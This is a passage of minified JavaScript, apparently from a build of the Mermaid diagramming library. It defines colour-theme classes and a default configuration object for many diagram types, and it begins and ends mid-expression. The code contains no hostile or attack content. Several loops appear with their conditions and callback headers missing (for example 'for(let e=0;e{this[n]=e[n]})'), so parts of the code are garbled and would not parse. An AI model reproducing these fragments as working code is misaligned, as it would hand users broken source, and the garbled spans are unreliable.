kground||(this.darkMode?Pt(this.secondaryColor,30):this.secondaryColor),this.nodeTextColor=this.nodeTextColor||this.primaryTextColor,this.actorBorder=this.actorBorder||this.primaryBorderColor,this.actorBkg=this.actorBkg||this.mainBkg,this.actorTextColor=this.actorTextColor||this.primaryTextColor,this.actorLineColor=this.actorLineColor||this.actorBorder,this.labelBoxBkgColor=this.labelBoxBkgColor||this.actorBkg,this.signalColor=this.signalColor||this.textColor,this.signalTextColor=this.signalTextColor||this.textColor,this.labelBoxBorderColor=this.labelBoxBorderColor||this.actorBorder,this.labelTextColor=this.labelTextColor||this.actorTextColor,this.loopTextColor=this.loopTextColor||this.actorTextColor,this.activationBorderColor=this.activationBorderColor||Pt(this.secondaryColor,10),this.activationBkgColor=this.activationBkgColor||this.secondaryColor,this.sequenceNumberColor=this.sequenceNumberColor||Et(this.lineColor),this.sectionBkgColor=this.sectionBkgColor||this.tertiaryColor,this.altSectionBkgColor=this.altSectionBkgColor||"white",this.sectionBkgColor=this.sectionBkgColor||this.secondaryColor,this.sectionBkgColor2=this.sectionBkgColor2||this.primaryColor,this.excludeBkgColor=this.excludeBkgColor||"#eeeeee",this.taskBorderColor=this.taskBorderColor||this.primaryBorderColor,this.taskBkgColor=this.taskBkgColor||this.primaryColor,this.activeTaskBorderColor=this.activeTaskBorderColor||this.primaryColor,this.activeTaskBkgColor=this.activeTaskBkgColor||Rt(this.primaryColor,23),this.gridColor=this.gridColor||"lightgrey",this.doneTaskBkgColor=this.doneTaskBkgColor||"lightgrey",this.doneTaskBorderColor=this.doneTaskBorderColor||"grey",this.critBorderColor=this.critBorderColor||"#ff8888",this.critBkgColor=this.critBkgColor||"red",this.todayLineColor=this.todayLineColor||"red",this.vertLineColor=this.vertLineColor||"navy",this.taskTextColor=this.taskTextColor||this.textColor,this.taskTextOutsideColor=this.taskTextOutsideColor||this.textColor,this.taskTextLightColor=this.taskTextLightColor||this.textColor,this.taskTextColor=this.taskTextColor||this.primaryTextColor,this.taskTextDarkColor=this.taskTextDarkColor||this.textColor,this.taskTextClickableColor=this.taskTextClickableColor||"#003163",this.personBorder=this.personBorder||this.primaryBorderColor,this.personBkg=this.personBkg||this.mainBkg,this.darkMode?(this.rowOdd=this.rowOdd||Pt(this.mainBkg,5)||"#ffffff",this.rowEven=this.rowEven||Pt(this.mainBkg,10)):(this.rowOdd=this.rowOdd||Rt(this.mainBkg,75)||"#ffffff",this.rowEven=this.rowEven||Rt(this.mainBkg,5)),this.transitionColor=this.transitionColor||this.lineColor,this.transitionLabelColor=this.transitionLabelColor||this.textColor,this.stateLabelColor=this.stateLabelColor||this.stateBkg||this.primaryTextColor,this.stateBkg=this.stateBkg||this.mainBkg,this.labelBackgroundColor=this.labelBackgroundColor||this.stateBkg,this.compositeBackground=this.compositeBackground||this.background||this.tertiaryColor,this.altBackground=this.altBackground||this.tertiaryColor,this.compositeTitleBackground=this.compositeTitleBackground||this.mainBkg,this.compositeBorder=this.compositeBorder||this.nodeBorder,this.innerEndBackground=this.nodeBorder,this.errorBkgColor=this.errorBkgColor||this.tertiaryColor,this.errorTextColor=this.errorTextColor||this.tertiaryTextColor,this.transitionColor=this.transitionColor||this.lineColor,this.specialStateColor=this.lineColor,this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210,l:150}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.darkMode)for(let r=0;r{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},PG=o(t=>{let e=new b7;return e.calculate(t),e},"getThemeVariables")});var T7,FG,$G=N(()=>{"use strict";eo();x0();T7=class{static{o(this,"Theme")}constructor(){this.background="#333",this.primaryColor="#1f2020",this.secondaryColor=Rt(this.primaryColor,16),this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=Et(this.background),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.mainBkg="#1f2020",this.secondBkg="calculated",this.mainContrastColor="lightgrey",this.darkTextColor=Rt(Et("#323D47"),10),this.lineColor="calculated",this.border1="#ccc",this.border2=Ka(255,255,255,.25),this.arrowheadColor="calculated",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.labelBackground="#181818",this.textColor="#ccc",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="#F9FFFE",this.edgeLabelBackground="calculated",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="calculated",this.actorLineColor="calculated",this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="calculated",this.activationBkgColor="calculated",this.sequenceNumberColor="black",this.sectionBkgColor=Pt("#EAE8D9",30),this.altSectionBkgColor="calculated",this.sectionBkgColor2="#EAE8D9",this.excludeBkgColor=Pt(this.sectionBkgColor,10),this.taskBorderColor=Ka(255,255,255,70),this.taskBkgColor="calculated",this.taskTextColor="calculated",this.taskTextLightColor="calculated",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor=Ka(255,255,255,50),this.activeTaskBkgColor="#81B1DB",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="grey",this.critBorderColor="#E83737",this.critBkgColor="#E83737",this.taskTextDarkColor="calculated",this.todayLineColor="#DB5757",this.vertLineColor="#00BFFF",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd=this.rowOdd||Rt(this.mainBkg,5)||"#ffffff",this.rowEven=this.rowEven||Pt(this.mainBkg,10),this.labelColor="calculated",this.errorBkgColor="#a44141",this.errorTextColor="#ddd"}updateColors(){this.secondBkg=Rt(this.mainBkg,16),this.lineColor=this.mainContrastColor,this.arrowheadColor=this.mainContrastColor,this.nodeBkg=this.mainBkg,this.nodeBorder=this.border1,this.clusterBkg=this.secondBkg,this.clusterBorder=this.border2,this.defaultLinkColor=this.lineColor,this.edgeLabelBackground=Rt(this.labelBackground,25),this.actorBorder=this.border1,this.actorBkg=this.mainBkg,this.actorTextColor=this.mainContrastColor,this.actorLineColor=this.actorBorder,this.signalColor=this.mainContrastColor,this.signalTextColor=this.mainContrastColor,this.labelBoxBkgColor=this.actorBkg,this.labelBoxBorderColor=this.actorBorder,this.labelTextColor=this.mainContrastColor,this.loopTextColor=this.mainContrastColor,this.noteBorderColor=this.secondaryBorderColor,this.noteBkgColor=this.secondBkg,this.noteTextColor=this.secondaryTextColor,this.activationBorderColor=this.border1,this.activationBkgColor=this.secondBkg,this.altSectionBkgColor=this.background,this.taskBkgColor=Rt(this.mainBkg,23),this.taskTextColor=this.darkTextColor,this.taskTextLightColor=this.mainContrastColor,this.taskTextOutsideColor=this.taskTextLightColor,this.gridColor=this.mainContrastColor,this.doneTaskBkgColor=this.mainContrastColor,this.taskTextDarkColor=this.darkTextColor,this.archEdgeColor=this.lineColor,this.archEdgeArrowColor=this.lineColor,this.transitionColor=this.transitionColor||this.lineColor,this.transitionLabelColor=this.transitionLabelColor||this.textColor,this.stateLabelColor=this.stateLabelColor||this.stateBkg||this.primaryTextColor,this.stateBkg=this.stateBkg||this.mainBkg,this.labelBackgroundColor=this.labelBackgroundColor||this.stateBkg,this.compositeBackground=this.compositeBackground||this.background||this.tertiaryColor,this.altBackground=this.altBackground||"#555",this.compositeTitleBackground=this.compositeTitleBackground||this.mainBkg,this.compositeBorder=this.compositeBorder||this.nodeBorder,this.innerEndBackground=this.primaryBorderColor,this.specialStateColor="#f4f4f4",this.errorBkgColor=this.errorBkgColor||this.tertiaryColor,this.errorTextColor=this.errorTextColor||this.tertiaryTextColor,this.fillType0=this.primaryColor,this.fillType1=this.secondaryColor,this.fillType2=Pe(this.primaryColor,{h:64}),this.fillType3=Pe(this.secondaryColor,{h:64}),this.fillType4=Pe(this.primaryColor,{h:-64}),this.fillType5=Pe(this.secondaryColor,{h:-64}),this.fillType6=Pe(this.primaryColor,{h:128}),this.fillType7=Pe(this.secondaryColor,{h:128}),this.cScale1=this.cScale1||"#0b0000",this.cScale2=this.cScale2||"#4d1037",this.cScale3=this.cScale3||"#3f5258",this.cScale4=this.cScale4||"#4f2f1b",this.cScale5=this.cScale5||"#6e0a0a",this.cScale6=this.cScale6||"#3b0048",this.cScale7=this.cScale7||"#995a01",this.cScale8=this.cScale8||"#154706",this.cScale9=this.cScale9||"#161722",this.cScale10=this.cScale10||"#00296f",this.cScale11=this.cScale11||"#01629c",this.cScale12=this.cScale12||"#010029",this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330});for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},FG=o(t=>{let e=new T7;return e.calculate(t),e},"getThemeVariables")});var w7,mh,Oy=N(()=>{"use strict";eo();x0();Iy();w7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#ECECFF",this.secondaryColor=Pe(this.primaryColor,{h:120}),this.secondaryColor="#ffffde",this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.background="white",this.mainBkg="#ECECFF",this.secondBkg="#ffffde",this.lineColor="#333333",this.border1="#9370DB",this.border2="#aaaa33",this.arrowheadColor="#333333",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.labelBackground="rgba(232,232,232, 0.8)",this.textColor="#333",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="calculated",this.edgeLabelBackground="calculated",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="black",this.actorLineColor="calculated",this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="calculated",this.altSectionBkgColor="calculated",this.sectionBkgColor2="calculated",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="calculated",this.taskTextLightColor="calculated",this.taskTextColor=this.taskTextLightColor,this.taskTextDarkColor="calculated",this.taskTextOutsideColor=this.taskTextDarkColor,this.taskTextClickableColor="calculated",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="calculated",this.critBorderColor="calculated",this.critBkgColor="calculated",this.todayLineColor="calculated",this.vertLineColor="calculated",this.sectionBkgColor=Ka(102,102,255,.49),this.altSectionBkgColor="white",this.sectionBkgColor2="#fff400",this.taskBorderColor="#534fbc",this.taskBkgColor="#8a90dd",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="black",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="#534fbc",this.activeTaskBkgColor="#bfc7ff",this.gridColor="lightgrey",this.doneTaskBkgColor="lightgrey",this.doneTaskBorderColor="grey",this.critBorderColor="#ff8888",this.critBkgColor="red",this.todayLineColor="red",this.vertLineColor="navy",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd="calculated",this.rowEven="calculated",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222",this.updateColors()}updateColors(){this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.cScalePeer1=this.cScalePeer1||Pt(this.secondaryColor,45),this.cScalePeer2=this.cScalePeer2||Pt(this.tertiaryColor,40);for(let e=0;e{this[n]==="calculated"&&(this[n]=void 0)}),typeof e!="object"){this.updateColors();return}let r=Object.keys(e);r.forEach(n=>{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},mh=o(t=>{let e=new w7;return e.calculate(t),e},"getThemeVariables")});var k7,zG,GG=N(()=>{"use strict";eo();Iy();x0();k7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#cde498",this.secondaryColor="#cdffb2",this.background="white",this.mainBkg="#cde498",this.secondBkg="#cdffb2",this.lineColor="green",this.border1="#13540c",this.border2="#6eaa49",this.arrowheadColor="green",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.tertiaryColor=Rt("#cde498",10),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.primaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="#333",this.edgeLabelBackground="#e8e8e8",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="black",this.actorLineColor="calculated",this.signalColor="#333",this.signalTextColor="#333",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="#326932",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="#6eaa49",this.altSectionBkgColor="white",this.sectionBkgColor2="#6eaa49",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="#487e3a",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="black",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="lightgrey",this.doneTaskBkgColor="lightgrey",this.doneTaskBorderColor="grey",this.critBorderColor="#ff8888",this.critBkgColor="red",this.todayLineColor="red",this.vertLineColor="#00BFFF",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222"}updateColors(){this.actorBorder=Pt(this.mainBkg,20),this.actorBkg=this.mainBkg,this.labelBoxBkgColor=this.actorBkg,this.labelTextColor=this.actorTextColor,this.loopTextColor=this.actorTextColor,this.noteBorderColor=this.border2,this.noteTextColor=this.actorTextColor,this.actorLineColor=this.actorBorder,this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.cScalePeer1=this.cScalePeer1||Pt(this.secondaryColor,45),this.cScalePeer2=this.cScalePeer2||Pt(this.tertiaryColor,40);for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},zG=o(t=>{let e=new k7;return e.calculate(t),e},"getThemeVariables")});var E7,VG,UG=N(()=>{"use strict";eo();x0();Iy();E7=class{static{o(this,"Theme")}constructor(){this.primaryColor="#eee",this.contrast="#707070",this.secondaryColor=Rt(this.contrast,55),this.background="#ffffff",this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.mainBkg="#eee",this.secondBkg="calculated",this.lineColor="#666",this.border1="#999",this.border2="calculated",this.note="#ffa",this.text="#333",this.critical="#d42",this.done="#bbb",this.arrowheadColor="#333333",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="calculated",this.edgeLabelBackground="white",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="calculated",this.actorLineColor=this.actorBorder,this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="calculated",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="calculated",this.altSectionBkgColor="white",this.sectionBkgColor2="calculated",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="calculated",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="calculated",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="calculated",this.critBkgColor="calculated",this.critBorderColor="calculated",this.todayLineColor="calculated",this.vertLineColor="calculated",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd=this.rowOdd||Rt(this.mainBkg,75)||"#ffffff",this.rowEven=this.rowEven||"#f4f4f4",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222"}updateColors(){this.secondBkg=Rt(this.contrast,55),this.border2=this.contrast,this.actorBorder=Rt(this.border1,23),this.actorBkg=this.mainBkg,this.actorTextColor=this.text,this.actorLineColor=this.actorBorder,this.signalColor=this.text,this.signalTextColor=this.text,this.labelBoxBkgColor=this.actorBkg,this.labelBoxBorderColor=this.actorBorder,this.labelTextColor=this.text,this.loopTextColor=this.text,this.noteBorderColor="#999",this.noteBkgColor="#666",this.noteTextColor="#fff",this.cScale0=this.cScale0||"#555",this.cScale1=this.cScale1||"#F4F4F4",this.cScale2=this.cScale2||"#555",this.cScale3=this.cScale3||"#BBB",this.cScale4=this.cScale4||"#777",this.cScale5=this.cScale5||"#999",this.cScale6=this.cScale6||"#DDD",this.cScale7=this.cScale7||"#FFF",this.cScale8=this.cScale8||"#DDD",this.cScale9=this.cScale9||"#BBB",this.cScale10=this.cScale10||"#999",this.cScale11=this.cScale11||"#777";for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},VG=o(t=>{let e=new E7;return e.calculate(t),e},"getThemeVariables")});var So,e3=N(()=>{"use strict";BG();$G();Oy();GG();UG();So={base:{getThemeVariables:PG},dark:{getThemeVariables:FG},default:{getThemeVariables:mh},forest:{getThemeVariables:zG},neutral:{getThemeVariables:VG}}});var ul,HG=N(()=>{"use strict";ul={flowchart:{useMaxWidth:!0,titleTopMargin:25,subGraphTitleMargin:{top:0,bottom:0},diagramPadding:8,htmlLabels:!0,nodeSpacing:50,rankSpacing:50,curve:"basis",padding:15,defaultRenderer:"dagre-wrapper",wrappingWidth:200,inheritDir:!1},sequence:{useMaxWidth:!0,hideUnusedParticipants:!1,activationWidth:10,diagramMarginX:50,diagramMarginY:10,actorMargin:50,width:150,height:65,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",mirrorActors:!0,forceMenus:!1,bottomMarginAdj:1,rightAngles:!1,showSequenceNumbers:!1,actorFontSize:14,actorFontFamily:'"Open Sans", sans-serif',actorFontWeight:400,noteFontSize:14,noteFontFamily:'"trebuchet ms", verdana, arial, sans-serif',noteFontWeight:400,noteAlign:"center",messageFontSize:16,messageFontFamily:'"trebuchet ms", verdana, arial, sans-serif',messageFontWeight:400,wrap:!1,wrapPadding:10,labelBoxWidth:50,labelBoxHeight:20},gantt:{useMaxWidth:!0,titleTopMargin:25,barHeight:20,barGap:4,topPadding:50,rightPadding:75,leftPadding:75,gridLineStartPadding:35,fontSize:11,sectionFontSize:11,numberSectionStyles:4,axisFormat:"%Y-%m-%d",topAxis:!1,displayMode:"",weekday:"sunday"},journey:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,leftMargin:150,maxLabelWidth:360,width:150,height:50,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",bottomMarginAdj:1,rightAngles:!1,taskFontSize:14,taskFontFamily:'"Open Sans", sans-serif',taskMargin:50,activationWidth:10,textPlacement:"fo",actorColours:["#8FBC8F","#7CFC00","#00FFFF","#20B2AA","#B0E0E6","#FFFFE0"],sectionFills:["#191970","#8B008B","#4B0082","#2F4F4F","#800000","#8B4513","#00008B"],sectionColours:["#fff"],titleColor:"",titleFontFamily:'"trebuchet ms", verdana, arial, sans-serif',titleFontSize:"4ex"},class:{useMaxWidth:!0,titleTopMargin:25,arrowMarkerAbsolute:!1,dividerMargin:10,padding:5,textHeight:10,defaultRenderer:"dagre-wrapper",htmlLabels:!1,hideEmptyMembersBox:!1},state:{useMaxWidth:!0,titleTopMargin:25,dividerMargin:10,sizeUnit:5,padding:8,textHeight:10,titleShift:-15,noteMargin:10,forkWidth:70,forkHeight:7,miniPadding:2,fontSizeFactor:5.02,fontSize:24,labelHeight:16,edgeLengthFactor:"20",compositTitleSize:35,radius:5,defaultRenderer:"dagre-wrapper"},er:{useMaxWidth:!0,titleTopMargin:25,diagramPadding:20,layoutDirection:"TB",minEntityWidth:100,minEntityHeight:75,entityPadding:15,nodeSpacing:140,rankSpacing:80,stroke:"gray",fill:"honeydew",fontSize:12},pie:{useMaxWidth:!0,textPosition:.75},quadrantChart:{useMaxWidth:!0,chartWidth:500,chartHeight:500,titleFontSize:20,titlePadding:10,quadrantPadding:5,xAxisLabelPadding:5,yAxisLabelPadding:5,xAxisLabelFontSize:16,yAxisLabelFontSize:16,quadrantLabelFontSize:16,quadrantTextTopPadding:5,pointTextPadding:5,pointLabelFontSize:12,pointRadius:5,xAxisPosition:"top",yAxisPosition:"left",quadrantInternalBorderStrokeWidth:1,quadrantExternalBorderStrokeWidth:2},xyChart:{useMaxWidth:!0,width:700,height:500,titleFontSize:20,titlePadding:10,showDataLabel:!1,showTitle:!0,xAxis:{$ref:"#/$defs/XYChartAxisConfig",showLabel:!0,labelFontSize:14,labelPadding:5,showTitle:!0,titleFontSize:16,titlePadding:5,showTick:!0,tickLength:5,tickWidth:2,showAxisLine:!0,axisLineWidth:2},yAxis:{$ref:"#/$defs/XYChartAxisConfig",showLabel:!0,labelFontSize:14,labelPadding:5,showTitle:!0,titleFontSize:16,titlePadding:5,showTick:!0,tickLength:5,tickWidth:2,showAxisLine:!0,axisLineWidth:2},chartOrientation:"vertical",plotReservedSpacePercent:50},requirement:{useMaxWidth:!0,rect_fill:"#f9f9f9",text_color:"#333",rect_border_size:"0.5px",rect_border_color:"#bbb",rect_min_width:200,rect_min_height:200,fontSize:14,rect_padding:10,line_height:20},mindmap:{useMaxWidth:!0,padding:10,maxNodeWidth:200,layoutAlgorithm:"cose-bilkent"},kanban:{useMaxWidth:!0,padding:8,sectionWidth:200,ticketBaseUrl:""},timeline:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,leftMargin:150,width:150,height:50,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",bottomMarginAdj:1,rightAngles:!1,taskFontSize:14,taskFontFamily:'"Open Sans", sans-serif',taskMargin:50,activationWidth:10,textPlacement:"fo",actorColours:["#8FBC8F","#7CFC00","#00FFFF","#20B2AA","#B0E0E6","#FFFFE0"],sectionFills:["#191970","#8B008B","#4B0082","#2F4F4F","#800000","#8B4513","#00008B"],sectionColours:["#fff"],disableMulticolor:!1},gitGraph:{useMaxWidth:!0,titleTopMargin:25,diagramPadding:8,nodeLabel:{width:75,height:100,x:-25,y:0},mainBranchName:"main",mainBranchOrder:0,showCommitLabel:!0,showBranches:!0,rotateCommitLabel:!0,parallelCommits:!1,arrowMarkerAbsolute:!1},c4:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,c4ShapeMargin:50,c4ShapePadding:20,width:216,height:60,boxMargin:10,c4ShapeInRow:4,nextLinePaddingX:0,c4BoundaryInRow:2,personFontSize:14,personFontFamily:'"Open Sans", sans-serif',personFontWeight:"normal",external_personFontSize:14,external_personFontFamily:'"Open Sans", sans-serif',external_personFontWeight:"normal",systemFontSize:14,systemFontFamily:'"Open Sans", sans-serif',systemFontWeight:"normal",external_systemFontSize:14,external_systemFontFamily:'"Open Sans", sans-serif',external_systemFontWeight:"normal",system_dbFontSize:14,system_dbFontFamily:'"Open Sans", sans-serif',system_dbFontWeight:"normal",external_system_dbFontSize:14,external_system_dbFontFamily:'"Open Sans", sans-serif',external_system_dbFontWeight:"normal",system_queueFontSize:14,system_queueFontFamily:'"Open Sans", sans-serif',system_queueFontWeight:"normal",external_system_queueFontSize:14,external_system_queueFontFamily:'"Open Sans", sans-serif',external_system_queueFontWeight:"normal",boundaryFontSize:14,boundaryFontFamily:'"Open Sans", sans-serif',boundaryFontWeight:"normal",messageFontSize:12,messageFontFamily:'"Open Sans", sans-serif',messageFontWeight:"normal",containerFontSize:14,containerFontFamily:'"Open Sans", sans-serif',containerFontWeight:"normal",external_containerFontSize:14,external_containerFontFamily:'"Open Sans", sans-serif',external_containerFontWeight:"normal",container_dbFontSize:14,container_dbFontFamily:'"Open Sans", sans-serif',container_dbFontWeight:"normal",external_container_dbFontSize:14,external_container_dbFontFamily:'"Open Sans", sans-serif',external_container_dbFontWeight:"normal",container_queueFontSize:14,container_queueFontFamily:'"Open Sans", sans-serif',container_queueFontWeight:"normal",external_container_queueFontSize:14,external_container_queueFontFamily:'"Open Sans", sans-serif',external_container_queueFontWeight:"normal",componentFontSize:14,componentFontFamily:'"Open Sans", sans-serif',componentFontWeight:"normal",external_componentFontSize:14,external_componentFontFamily:'"Open Sans", 